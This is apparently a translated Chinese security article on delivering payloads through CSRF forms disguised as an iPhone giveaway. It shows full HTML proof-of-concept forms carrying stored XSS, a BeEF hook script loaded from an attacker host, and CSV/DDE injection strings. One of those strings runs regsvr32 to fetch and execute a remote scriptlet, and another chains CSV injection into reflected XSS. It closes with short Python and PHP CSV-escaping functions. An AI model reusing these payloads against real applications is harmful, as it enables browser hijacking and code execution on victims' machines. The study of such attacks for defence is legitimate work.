导语:研究人员发现,可以利用CSRF来传播大量的payload到终端用户。攻击者常用的CSRF传播的payload是: XSS,CSV Injection,CSV Injection to Reflected Cross Site Scripting (XSS)。
CSRF
OWASP对CSRF(跨站请求伪造)的定义为:
一个跨站请求伪造攻击迫使登录用户的浏览器将伪造的HTTP请求,包括该用户的会话cookie和其他认证信息,发送一个存在漏洞的web应用程序。这即允许攻击者迫使用户浏览器向存在漏洞的应用程序发送请求,并且这些请求会被应用程序认为是用户的合法请求。
CSRF曾在2007年、2010年、2013年三次入围OWASP TOP10。因为越来越多的框架提供了secure by default的设定和一些形式的保护,这也就是说CSRF不再是一个问题。这也就是2017版的CSRF不再出现在OWASP TOP10的原因。
研究人员发现,可以利用CSRF来传播大量的payload到终端用户。攻击者常用的CSRF传播的payload是:
· Persistent Cross Site Scripting (XSS) · CSV Injection (CSVi) · CSV Injection to Reflected Cross Site Scripting (XSS)
CSRF Payload传播
研究人员发现可以通过一个简单的CSRF PoC来传播所有类型的payload,因为大多数社会工程场景中的CSRF是一样的。下面是一个登入的win form:
基本的页面代码如下:
<html> <body> <h1>Enter Your Email to Win an iPhone X</h1> <br> <input></input> <script>history.pushState('', '', '/')</script> <form action="https://targetApp" method="POST"> <input type="hidden" name="reg_email__" value="[email protected]" /> <input type="hidden" name="firstname" value="a" /> <input type="hidden" name="lastname" value="a" /> <input type="submit" value="Enter Competition" /> </form> </body> </html>
为了解释请求,第一部分的H1和input并没有什么用处,真实的payload是隐藏在input表单中。这也是CSRF发生的地方,攻击者可以让这些值有意义。攻击者可以利用浙西payload的传播来设定payload的值。在XSS设定的例子中, <script>alert(document.domain)</script> 会在域名内弹出一个告警框。
但是这个值可以是任何值,在更加恶意的环境中,攻击者可以利用浏览器利用框架来hook受害者的浏览器。这样的恶意表单示例如下:
<html> <body> <h1>Enter Your Email to Win an iPhone X</h1> <br> <input></input> <script>history.pushState('', '', '/')</script> <form action="https://targetApp" method="POST"> <input type="hidden" name="reg_email__" value="[email protected]" /> <input type="hidden" name="firstname" value="<script src='https://attackersite/beef.js'></script>" /> <input type="hidden" name="lastname" value="a" /> <input type="submit" value="Enter Competition" /> </form> </body> </html>
Payload被注入到firstname域中,表单会通过请求提交的方式传递到攻击者的服务器,然后受害者的服务器就会用JS脚本钩住用于下一步的利用。根据应用的功能,攻击者payload会传递持久性和反射性的XSS脚本。
CSV/DDE注入
与XSS payload传播类似,其他的payload值也可以通过域传播、在下面的例子中,攻击者可以通过CSRF控制两个表单中的数据。
<html> <body> <h1>Enter Your Email to Win an iPhone X</h1> <br> <input></input> <script>history.pushState('', '', '/')</script> <form action="https://targetApp" method="POST"> <input type="hidden" name="reg_email__" value="[email protected]" /> <input type="hidden" name="firstname" value="=cmd|'/c calc'!A0" /> <input type="hidden" name="lastname" value="a" /> <input type="submit" value="Enter Competition" /> </form> </body> </html>
许多人将Excel上的攻击归因为没有对字符串进行处理,应用可以采取一些措施来让一些人的名字不能是=cmd|'/c calc'!A0。与CSV注入类似,其他攻击包含DDE注入都是同样的攻击路径,首先注入任意字符到这些域中,然后输出并执行。比如cmd!”/c notepad”!A0 {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" } 会加载一个DDE payload到CSV或xls文件中。
计算器也被用于非恶意的payload来证明攻击者可以随后将它发展成为武器,使用一些DDL注册或许是一个好办法:
=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://attackersite/SCTLauncher.sct pewpew.dll'!A0”
一些用户可能看到CMD.EXE 或SHELL.EXE请求运行会有所怀疑,然后不点击。CMD.EXE 或SHELL.EXE可能有恶意的标记。所以,MSEXCEL.EXE这样的弹窗就会比CMD.EXE或SHELL.EXE更加可信。
只要改变一些CSV注入的payload,攻击者就可以通过CSRF将其CSV注入,然后变成一种反射性XSS。
通过使用=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c start http://targetapp.cxm/?vuln=<script>alert(1)</script>'!” 这样的payload,攻击者可以传播一个XSS payload,回到这个CSRF的例子中:
<html> <body> <h1>Enter Your Email to Win an iPhone X</h1> <br> <input></input> <script>history.pushState('', '', '/')</script> <form action="https://targetApp" method="POST"> <input type="hidden" name="reg_email__" value="[email protected]" /> <input type="hidden" name="firstname" value="=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c start http://targetapp.cxm/?vuln=<script>alert(1)</script>'!”" /> <input type="hidden" name="lastname" value="a" /> <input type="submit" value="Enter Competition" /> </form> </body> </html>
CSRF并非是一种新的payload方法,但2018年仍然是存在的。许多不同的攻击方式都是通过CSRF来提供一些帮助的。
POC
CSV注入payload
Python
def escape(payload): if payload[0] in ('@','+','-', '=', '|', '%'): payload = payload.replace("|", "\|") payload = "'" + payload + "'" return payload
PHP
public static function escape_csv( $payload ) { $triggers = array( '=', '+', '-', '@', '|', '%'); if ( in_array( mb_substr( $payload, 0, 1 ), $triggers, true ) ) { $payload = "'" . $payload . "'"; } return $payload; }